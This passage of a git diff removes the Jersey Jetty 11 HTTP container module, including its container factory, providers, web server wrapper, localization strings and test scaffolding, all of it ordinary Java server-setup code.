-    JettyHttpContainer(final Application application) {
-        this.appHandler = new ApplicationHandler(application, new JettyBinder());
-
-        cacheConfigSetStatusOverSendError();
-    }
-
-    /**
-     * Create a new Jetty HTTP container.
-     *
-     * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container.
-     */
-    JettyHttpContainer(final Class<? extends Application> applicationClass) {
-        this.appHandler = new ApplicationHandler(applicationClass, new JettyBinder());
-
-        cacheConfigSetStatusOverSendError();
-    }
-
-    /**
-     * The method reads and caches value of configuration property
-     * {@link ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR} for future purposes.
-     */
-    private void cacheConfigSetStatusOverSendError() {
-        this.configSetStatusOverSendError = ServerProperties.getValue(getConfiguration().getProperties(),
-                ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, false, Boolean.class);
-    }
-
-}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
deleted file mode 100644
index cb66f21..0000000
--- a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
+++ /dev/null
@@ -1,319 +0,0 @@
-/*
- * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import java.net.URI;
-import java.util.concurrent.ThreadFactory;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Configuration;
-
-import org.glassfish.jersey.innate.VirtualThreadUtil;
-import org.glassfish.jersey.innate.virtual.LoomishExecutors;
-import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.process.JerseyProcessingUncaughtExceptionHandler;
-import org.glassfish.jersey.server.ContainerFactory;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.spi.Container;
-
-import org.eclipse.jetty.server.Connector;
-import org.eclipse.jetty.server.HttpConfiguration;
-import org.eclipse.jetty.server.HttpConnectionFactory;
-import org.eclipse.jetty.server.SecureRequestCustomizer;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.ServerConnector;
-import org.eclipse.jetty.server.SslConnectionFactory;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.eclipse.jetty.util.thread.QueuedThreadPool;
-
-/**
- * Factory for creating and starting Jetty server handlers. This returns
- * a handle to the started server as {@link Server} instances, which allows
- * the server to be stopped by invoking the {@link org.eclipse.jetty.server.Server#stop()} method.
- * <p/>
- * To start the server in HTTPS mode an {@link SslContextFactory} can be provided.
- * This will be used to decrypt and encrypt information sent over the
- * connected TCP socket channel.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Marek Potociar
- */
-public final class JettyHttpContainerFactory {
-
-    private JettyHttpContainerFactory() {
-    }
-
-    /**
-     * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
-     *
-     * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
-     *            segment will be used as context path, the rest will be ignored.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri) throws ProcessingException {
-        return createServer(uri, null, null, true);
-    }
-
-    /**
-     * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
-     *
-     * @param uri   uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
-     *              segment will be used as context path, the rest will be ignored.
-     * @param start if set to false, server will not get started, which allows to configure the underlying transport
-     *              layer, see above for details.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final boolean start) throws ProcessingException {
-        return createServer(uri, null, null, start);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     * <p/>
-     * This implementation defers to the
-     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
-     * for creating an Container that manages the root resources.
-     *
-     * @param uri    the URI to create the http server. The URI scheme must be
-     *               equal to "http". The URI user information and host
-     *               are ignored If the URI port is not present then port 80 will be
-     *               used. The URI path, query and fragment components are ignored.
-     * @param config the resource configuration.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final ResourceConfig config)
-            throws ProcessingException {
-
-        final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
-        return createServer(uri, null, container, true);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     * <p/>
-     * This implementation defers to the
-     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
-     * for creating an Container that manages the root resources.
-     *
-     * @param uri           URI on which the Jersey web application will be deployed. Only first path segment will be
-     *                      used as context path, the rest will be ignored.
-     * @param configuration web application configuration.
-     * @param start         if set to false, server will not get started, which allows to configure the underlying
-     *                      transport layer, see above for details.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start)
-            throws ProcessingException {
-        return createServer(uri, null, ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
-    }
-
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     *
-     * @param uri           the URI to create the http server. The URI scheme must be
-     *                      equal to "https". The URI user information and host
-     *                      are ignored If the URI port is not present then port 143 will be
-     *                      used. The URI path, query and fragment components are ignored.
-     * @param config        the resource configuration.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     * @param start         if set to false, server will not get started, this allows end users to set
-     *                      additional properties on the underlying listener.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see JettyHttpContainer
-     * @since 2.12
-     */
-    public static Server createServer(final URI uri, final ResourceConfig config, final boolean start,
-                                      final Object parentContext) {
-        return createServer(uri, null, new JettyHttpContainer(config, parentContext), start);
-    }
-
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     *
-     * @param uri           the URI to create the http server. The URI scheme must be
-     *                      equal to "https". The URI user information and host
-     *                      are ignored If the URI port is not present then port 143 will be
-     *                      used. The URI path, query and fragment components are ignored.
-     * @param config        the resource configuration.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see JettyHttpContainer
-     * @since 2.12
-     */
-    public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) {
-        return createServer(uri, null, new JettyHttpContainer(config, parentContext), true);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     * <p/>
-     * This implementation defers to the
-     * {@link ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
-     * for creating an Container that manages the root resources.
-     *
-     * @param uri               the URI to create the http server. The URI scheme must be
-     *                          equal to {@code https}. The URI user information and host
-     *                          are ignored. If the URI port is not present then port
-     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
-     *                          used. The URI path, query and fragment components are ignored.
-     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
-     * @param config            the resource configuration.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
-    public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory,
-                                      final ResourceConfig config)
-            throws ProcessingException {
-        final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config);
-        return createServer(uri, sslContextFactory, container, true);
-    }
-
-    /**
-     * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes found by searching the
-     * classes referenced in the java classpath.
-     *
-     * @param uri               the URI to create the http server. The URI scheme must be
-     *                          equal to {@code https}. The URI user information and host
-     *                          are ignored. If the URI port is not present then port
-     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
-     *                          used. The URI path, query and fragment components are ignored.
-     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
-     * @param handler           the container that handles all HTTP requests
-     * @param start             if set to false, server will not get started, this allows end users to set
-     *                          additional properties on the underlying listener.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see JettyHttpContainer
-     */
-    public static Server createServer(final URI uri,
-                                      final SslContextFactory.Server sslContextFactory,
-                                      final JettyHttpContainer handler,
-                                      final boolean start) {
-        if (uri == null) {
-            throw new IllegalArgumentException(LocalizationMessages.URI_CANNOT_BE_NULL());
-        }
-        final String scheme = uri.getScheme();
-        int defaultPort = Container.DEFAULT_HTTP_PORT;
-
-        if (sslContextFactory == null) {
-            if (!"http".equalsIgnoreCase(scheme)) {
-                throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTP());
-            }
-        } else {
-            if (!"https".equalsIgnoreCase(scheme)) {
-                throw new IllegalArgumentException(LocalizationMessages.WRONG_SCHEME_WHEN_USING_HTTPS());
-            }
-            defaultPort = Container.DEFAULT_HTTPS_PORT;
-        }
-        final int port = (uri.getPort() == -1) ? defaultPort : uri.getPort();
-
-        final Configuration configuration = handler != null ? handler.getConfiguration() : null;
-        final Server server = new Server(new JettyConnectorThreadPool(configuration));
-        final HttpConfiguration config = new HttpConfiguration();
-        if (sslContextFactory != null) {
-            config.setSecureScheme("https");
-            config.setSecurePort(port);
-            config.addCustomizer(new SecureRequestCustomizer());
-
-            final ServerConnector https = new ServerConnector(server,
-                    new SslConnectionFactory(sslContextFactory, "http/1.1"),
-                    new HttpConnectionFactory(config));
-            https.setPort(port);
-            server.setConnectors(new Connector[]{https});
-
-        } else {
-            final ServerConnector http = new ServerConnector(server, new HttpConnectionFactory(config));
-            http.setPort(port);
-            server.setConnectors(new Connector[]{http});
-        }
-        if (handler != null) {
-            server.setHandler(handler);
-        }
-
-        if (start) {
-            try {
-                // Start the server.
-                server.start();
-            } catch (final Exception e) {
-                throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
-            }
-        }
-        return server;
-    }
-
-    // TODO: Use https://www.eclipse.org/jetty/javadoc/current/org/eclipse/jetty/util/thread/QueuedThreadPool.html
-    //  #%3Cinit%3E(int,int,int,int,java.util.concurrent.BlockingQueue,java.lang.ThreadGroup,java.util.concurrent.ThreadFactory)
-    //
-    //  Keeping this for backwards compatibility for the time being
-    private static final class JettyConnectorThreadPool extends QueuedThreadPool {
-        private final ThreadFactory threadFactory;
-
-        private JettyConnectorThreadPool(Configuration configuration) {
-            final LoomishExecutors executors = VirtualThreadUtil.withConfig(configuration, false);
-            if (executors.isVirtual()) {
-                super.setMaxThreads(Integer.MAX_VALUE - 1);
-            }
-
-            this.threadFactory = new ThreadFactoryBuilder()
-                    .setNameFormat("jetty-http-server-%d")
-                    .setUncaughtExceptionHandler(new JerseyProcessingUncaughtExceptionHandler())
-                    .setThreadFactory(executors.getThreadFactory())
-                    .build();
-        }
-
-        @Override
-        public Thread newThread(Runnable runnable) {
-            return threadFactory.newThread(runnable);
-        }
-    }
-}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
deleted file mode 100644
index 4b80825..0000000
--- a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerProvider.java
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Application;
-
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.server.spi.ContainerProvider;
-
-/**
- * Container provider for containers based on Jetty Server {@link org.eclipse.jetty.server.Handler}.
- *
- * @author Arul Dhesiaseelan (aruld@acm.org)
- * @author Marek Potociar
- */
-public final class JettyHttpContainerProvider implements ContainerProvider {
-
-    public static final String HANDLER_NAME = "org.eclipse.jetty.server.Handler";
-    @Override
-    public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
-            return type.cast(new JettyHttpContainer(application));
-        }
-        return null;
-    }
-
-    public <T> T createContainer(final Class<T> type, final Application application,
-                                 Object parentContext) throws ProcessingException {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || JettyHttpContainer.class == type)) {
-            return type.cast(new JettyHttpContainer(application, parentContext));
-        }
-        return null;
-    }
-
-}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
deleted file mode 100644
index dca75e0..0000000
--- a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServer.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2018 Markus KARG. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.MANDATORY;
-import static jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication.OPTIONAL;
-
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.CompletionException;
-
-import jakarta.ws.rs.SeBootstrap;
-import jakarta.ws.rs.core.Application;
-
-import org.eclipse.jetty.server.ServerConnector;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.glassfish.jersey.server.ContainerFactory;
-import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
-import org.glassfish.jersey.server.spi.WebServer;
-
-/**
- * Jersey {@code Server} implementation based on Jetty
- * {@link org.eclipse.jetty.server.Server Server}.
- *
- * @author Markus KARG (markus@headcrashing.eu)
- * @since 3.1.0
- */
-final class JettyHttpServer implements WebServer {
-
-    private final JettyHttpContainer container;
-
-    private final org.eclipse.jetty.server.Server httpServer;
-
-    JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
-        this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration);
-    }
-
-    JettyHttpServer(final Class<? extends Application> applicationClass,
-                      final JerseySeBootstrapConfiguration configuration) {
-        this(new JettyHttpContainer(applicationClass), configuration);
-    }
-
-    JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
-        final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration
-                .sslClientAuthentication();
-        final SslContextFactory.Server sslContextFactory;
-        if (configuration.isHttps()) {
-            sslContextFactory = new SslContextFactory.Server();
-            sslContextFactory.setSslContext(configuration.sslContext());
-            sslContextFactory.setWantClientAuth(sslClientAuthentication == OPTIONAL);
-            sslContextFactory.setNeedClientAuth(sslClientAuthentication == MANDATORY);
-        } else {
-            sslContextFactory = null;
-        }
-        this.container = container;
-        this.httpServer = JettyHttpContainerFactory.createServer(
-                configuration.uri(true),
-                sslContextFactory,
-                this.container,
-                configuration.autoStart());
-    }
-
-    @Override
-    public final JettyHttpContainer container() {
-        return this.container;
-    }
-
-    @Override
-    public final int port() {
-        final ServerConnector serverConnector = (ServerConnector) this.httpServer.getConnectors()[0];
-        final int configuredPort = serverConnector.getPort();
-        final int localPort = serverConnector.getLocalPort();
-        return localPort < 0 ? configuredPort : localPort;
-    }
-
-    @Override
-    public final CompletableFuture<Void> start() {
-        return CompletableFuture.runAsync(() -> {
-            try {
-                this.httpServer.start();
-            } catch (final Exception e) {
-                throw new CompletionException(e);
-            }
-        });
-    }
-
-    @Override
-    public final CompletableFuture<Void> stop() {
-        return CompletableFuture.runAsync(() -> {
-            try {
-                this.httpServer.stop();
-            } catch (final Exception e) {
-                throw new CompletionException(e);
-            }
-        });
-    }
-
-    @Override
-    public final <T> T unwrap(final Class<T> nativeClass) {
-        return nativeClass.cast(this.httpServer);
-    }
-
-}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
deleted file mode 100644
index 395a9f9..0000000
--- a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpServerProvider.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2018 Markus KARG. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import jakarta.ws.rs.SeBootstrap;
-import jakarta.ws.rs.core.Application;
-
-import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
-import org.glassfish.jersey.server.spi.WebServer;
-import org.glassfish.jersey.server.spi.WebServerProvider;
-
-/**
- * Server provider for servers based on Jetty
- * {@link org.eclipse.jetty.server.Server Server}.
- *
- * @author Markus KARG (markus@headcrashing.eu)
- * @since 3.1.0
- */
-public final class JettyHttpServerProvider implements WebServerProvider {
-
-    @Override
-    public <T extends WebServer> T createServer(final Class<T> type, final Application application,
-                                                      final SeBootstrap.Configuration configuration) {
-        return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
-                ? type.cast(new JettyHttpServer(application, JerseySeBootstrapConfiguration.from(configuration)))
-                : null;
-    }
-
-    @Override
-    public <T extends WebServer> T createServer(final Class<T> type, final Class<? extends Application> applicationClass,
-                                                final SeBootstrap.Configuration configuration) {
-        return WebServerProvider.isSupportedWebServer(JettyHttpServer.class, type, configuration)
-                ? type.cast(new JettyHttpServer(applicationClass, JerseySeBootstrapConfiguration.from(configuration)))
-                : null;
-    }
-}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java
deleted file mode 100644
index 27763d0..0000000
--- a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/package-info.java
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-/**
- * Jersey Jetty container classes.
- */
-package org.glassfish.jersey.jetty;
diff --git a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
deleted file mode 100644
index 6b9cc26..0000000
--- a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
+++ /dev/null
@@ -1 +0,0 @@
-org.glassfish.jersey.jetty.JettyHttpContainerProvider
diff --git a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
deleted file mode 100644
index 641eaee..0000000
--- a/containers/jetty11-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
+++ /dev/null
@@ -1 +0,0 @@
-org.glassfish.jersey.jetty.JettyHttpServerProvider
diff --git a/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
deleted file mode 100644
index f6be7cf..0000000
--- a/containers/jetty11-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
+++ /dev/null
@@ -1,25 +0,0 @@
-#
-# Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-# {0} - status code; {1} - status reason message
-container.started=JettyHttpContainer.handle(...) started.
-exception.sending.error.response=I/O exception occurred while sending "{0}/{1}" error response.
-error.when.creating.server=Exception thrown when trying to create jetty server.
-unable.to.close.response=Unable to close response output.
-uri.cannot.be.null=The URI must not be null.
-wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL.
-wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL.
-not.supported=Jetty container is not supported on JDK version less than 11.
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
deleted file mode 100644
index 7519624..0000000
--- a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
- * Copyright (c) 2022 Contributors to the Eclipse Foundation
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import java.net.URI;
-import java.security.AccessController;
-import java.util.logging.Level;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.RuntimeType;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.internal.util.PropertiesHelper;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.ServerConnector;
-import org.junit.jupiter.api.AfterEach;
-
-/**
- * Abstract Jetty Server unit tester.
- *
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Miroslav Fuksa
- */
-public abstract class AbstractJettyServerTester {
-
-    private static final Logger LOGGER = Logger.getLogger(AbstractJettyServerTester.class.getName());
-
-    public static final String CONTEXT = "";
-    private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998
-
-    /**
-     * Get the port to be used for test application deployments.
-     *
-     * @return The HTTP port of the URI
-     */
-    protected final int getPort() {
-        if (server != null) {
-            return ((ServerConnector) server.getConnectors()[0]).getLocalPort();
-        }
-
-        final String value = AccessController
-                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
-        if (value != null) {
-
-            try {
-                final int i = Integer.parseInt(value);
-                if (i < 0) {
-                    throw new NumberFormatException("Value is negative.");
-                }
-                return i;
-            } catch (NumberFormatException e) {
-                LOGGER.log(Level.CONFIG,
-                        "Value of 'jersey.config.test.container.port'"
-                                + " property is not a valid non-negative integer [" + value + "]."
-                                + " Reverting to default [" + DEFAULT_PORT + "].",
-                        e);
-            }
-        }
-        return DEFAULT_PORT;
-    }
-
-    private final int getPort(RuntimeType runtimeType) {
-        switch (runtimeType) {
-            case SERVER:
-                return getPort();
-            case CLIENT:
-                return server.getURI().getPort();
-            default:
-                throw new IllegalStateException("Unexpected runtime type");
-        }
-    }
-
-    private volatile Server server;
-
-    public UriBuilder getUri() {
-        return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
-    }
-
-    public void startServer(Class<?>... resources) {
-        ResourceConfig config = new ResourceConfig(resources);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        startServer(config);
-    }
-
-    public void startServer(ResourceConfig config) {
-        final URI baseUri = getBaseUri();
-        server = JettyHttpContainerFactory.createServer(baseUri, config);
-        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + getBaseUri());
-    }
-
-    public URI getBaseUri() {
-        return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
-    }
-
-    public void stopServer() {
-        try {
-            server.stop();
-            server = null;
-            LOGGER.log(Level.INFO, "Jetty-http server stopped.");
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        }
-    }
-
-    @AfterEach
-    public void tearDown() {
-        if (server != null) {
-            stopServer();
-        }
-    }
-}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java
deleted file mode 100644
index dfc66b0..0000000
--- a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/AsyncTest.java
+++ /dev/null
@@ -1,169 +0,0 @@
-/*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
